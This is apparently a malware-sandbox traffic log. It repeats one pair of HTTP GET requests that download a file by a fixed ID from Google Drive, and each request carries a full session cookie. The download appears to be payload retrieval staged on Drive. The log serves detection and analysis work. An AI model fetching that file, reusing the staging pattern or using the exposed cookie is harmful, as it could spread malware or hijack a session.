Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
